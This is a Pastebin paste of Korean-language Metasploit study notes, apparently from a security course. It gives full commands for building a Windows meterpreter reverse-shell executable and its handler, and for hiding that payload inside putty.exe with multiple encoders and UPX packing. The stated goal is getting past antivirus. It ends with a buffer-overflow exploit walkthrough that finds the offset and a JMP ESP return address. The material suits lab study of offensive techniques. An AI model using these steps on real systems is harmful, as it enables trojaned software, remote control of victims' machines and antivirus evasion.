Advertisement
zmnkh

Untitled

Mar 25th, 2015
583
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.13 KB | None | 0 0
  1. payload로 악성코드 만들기
  2.  
  3. msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.182.151 X > xxx.exe
  4. reverse_tcp를 할 수 있는 악성코드 만들었음 (151로 붙을 것임)
  5. 옵션 X는 실행파일로 만들것
  6.  
  7. 핸들러 생성 (악성코드 감염pc가 붙을 수 있도록)
  8.  
  9. use multi/handler
  10. set payload windows/meterpreter/reverse_tcp
  11. set lhost 192.168.182.151
  12. exploit --> (포트를 열고 기다림)
  13.  
  14. 취약한 PC에서 xxx.exe 를 실행하면 취약한 PC에서는 192.168.182.151로 연결한다.
  15.  
  16.  
  17. XOR인코딩 (거의 대부분이 XOR 인코딩이다)
  18. -reversing 하면 key값이 다 보인다.
  19. 난독화 하기 위해서 / 백신 우회를 위해서 인코딩 한다.
  20.  
  21.  
  22. #encoder 를 통한 백신 우회
  23. putty.exe 에 악성코드 삽입 (인코딩 하여 전달)
  24.  
  25. msfencode -l (사용가능한 encode 확인)
  26. - x86/shikata_ga_nai 사용 (가장 인기가 좋음) po
  27. msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.182.151 R (row format의 의미) | msfencode -t exe -x /root/putty.exe -e x86/shikata_ga_nai -C 10 -o /var/www/test/putty.exe -k
  28. (-t type
  29. -x 실행파일경로
  30. -e encode
  31. -C 10 (10번 encode)
  32. -o 출력물 이름
  33. -k keep alive (putty를 계속보여줘라)
  34. )
  35.  
  36. shikata_ga_nai로 10번 encoding 된 실행파일이 생성됨
  37.  
  38. meta에서 multi/handler 를 이용해서, 포트를 열고 기다리면...
  39. 이를 취약한 PC에서 실행하면 meterpreter를 만날수 있다.
  40.  
  41.  
  42. 다중 인코딩
  43. msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.182.151 R| msfencode -t exe -e x86/shikata_ga_nai -C 10 -t raw |
  44. msfencode -e x86/alpha_upper -c 3 -t raw | msfencode -e x86/counterdown -c 5 -t exe -o /var/www/putty.exe -k
  45.  
  46. #upx (Ultimate Packer for eXecutable) 패킹 (or 더미다)
  47. 패킹 (실행파일 압축 - 독립적으로 풀린다, 디코딩/인코딩 코드를 다 가지고 있다.)
  48.  
  49.  
  50. upx -9 -o /var/www/test/putty2.exe(산출파일,목적파일) /var/www/test/putty.exe (원본파일)
  51. /var/www/test/putty.exe 를 패킹하여, putty2.exe를 생성한다.
  52.  
  53. (백신을 우회할 수 있는지 확인해보자)
  54.  
  55. 결과 putty.exe (정상) - 483,328
  56. 인코딩 putty.exe - 487,424
  57. 패킹 putty2.exe - 252,928
  58.  
  59. #쉘코드작성 (쉘코드와 payload는 같은 개념이다)
  60.  
  61. use payload/windows/shell/reverse_tcp
  62. generate -h
  63. generate
  64. --쉘코드가 나온다.
  65.  
  66. (쉘에서는 /x00 (null) /xff 등의 코드들은 파싱될 때 잘못 번역이 될수 있다. - 이를 대응할 수 있도록 바꿔줘야 한다)
  67. 네트워크 캡춰해서 제대로 쉘코드가 날아가는지 봐야 한다. (쉘코드를 번역해서 봐야 한다)
  68.  
  69. bad 캐릭터 빼고 생성시
  70.  
  71. generate -b '\x00\xff'
  72. \x00, \xff 는 빼고 생성한다.
  73.  
  74. generate -b '\x00\xff' -e x86/shikata_ga_nai -f /root/shell_test.txt
  75. 특정 코드 빼고, 인코딩 한 뒤에 shell_test.txt로 파일로 만든다.
  76.  
  77. #소스코드 보기
  78. bof
  79.  
  80. pr
  81. buf = 500 인데, message는 5,000까지 받을 수 있음.
  82.  
  83. bof 발생 가능성 있음
  84.  
  85. 서버 프로그램 띄어 놓고 data를 보내 본다.
  86. perl -e 'print "A"x400' | nc 192.168.182.134 200(port)
  87.  
  88. 500 이하는 정상, 500이 넘으면 에러가 난다.(bof)
  89.  
  90. return (ret) 주소를 찾아서 buf가 넘치게 해서, 넘치는 위치에 쉘코드를 넣는다.
  91.  
  92. 기존 악성코드를 하나 복사한다.
  93.  
  94. /opt/metasploit/msf3/modules/exploits/windows/misc (missconfig)
  95. copy windows_rsh.rb -> windows_test.rb
  96. vi windows_test.rb
  97. (exploit 이란 명령 이후 실행되는 부분을 수정)
  98. 테스트로 spliit = 'A'*1000 를 보낸다.
  99. port를 200으로 수정
  100.  
  101. 이후 msfconsole 실행
  102. search windows_test 찾기
  103. use exploit/windows/misc/windows_test
  104. show options
  105. set rhost 192.168.182.134
  106.  
  107. A를 1000개 보내서 결과값을 확인한다.
  108.  
  109. debuger lfp00 (ollydebuger를 켠다)
  110.  
  111. 오프셋 길이와 ret를 알아내야 한다.
  112.  
  113. opt/metasploit/msf3/tools
  114. --> patern_create.rb 겹치지 않는 문자열 생성
  115. ruby pattern_create.rb 600 (600개 생성)
  116.  
  117. 생성된 문자열을 A*1000 대신에 추가 해 준다.
  118.  
  119. 이는 오프셋길이를 알기 위해서 한다. (어느 글자에서 오프셋이 걸리는지..)
  120.  
  121. 그리고 다시 meta에서 exploit 한다.
  122.  
  123.  
  124. 올리에서 확인
  125.  
  126. ruby pattern_offset.rb EIP (41387141) 600
  127. -- offset 504 가 출력되었음 (buf를 넘치게 할 수 있는 값은 504다)
  128.  
  129. 이제, windows_test.rb에서
  130. space값을 수정한다.
  131.  
  132. dll에서 확인한다. esp, push, ebp
  133. ret는 동적으로 변함
  134.  
  135. wsock32.lib --> push, esp, ret
  136. 해당 프로그램은 wsock32를 불러올거니 findjmp2를 이용해서 esp -ret 값을 확인한다.
  137. (그림 참조)
  138.  
  139. offset / ret (0x71AB1D54 - esp -ret)값을 확인해야 함
  140. 이 값은 자주바뀌니 이를 불러오고 있는 dll에서 값을 확인한다.
  141.  
  142. 리틀인디안 확인
  143.  
  144. exploit-db.com 에서 metasploit에서 작성한 .rb 파일을 받아서, 이를 metasploit 디렉토리에 넣어주면 된다.
  145. 취약한 실행파일까지도 지원 해준다.
  146. 이를 메타에서 테스트 하면 된다.
  147.  
  148. 다른 언어를 rb로 포팅
  149. python은 바로 rb로 이름만 변경하면 거의 사용 가능
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement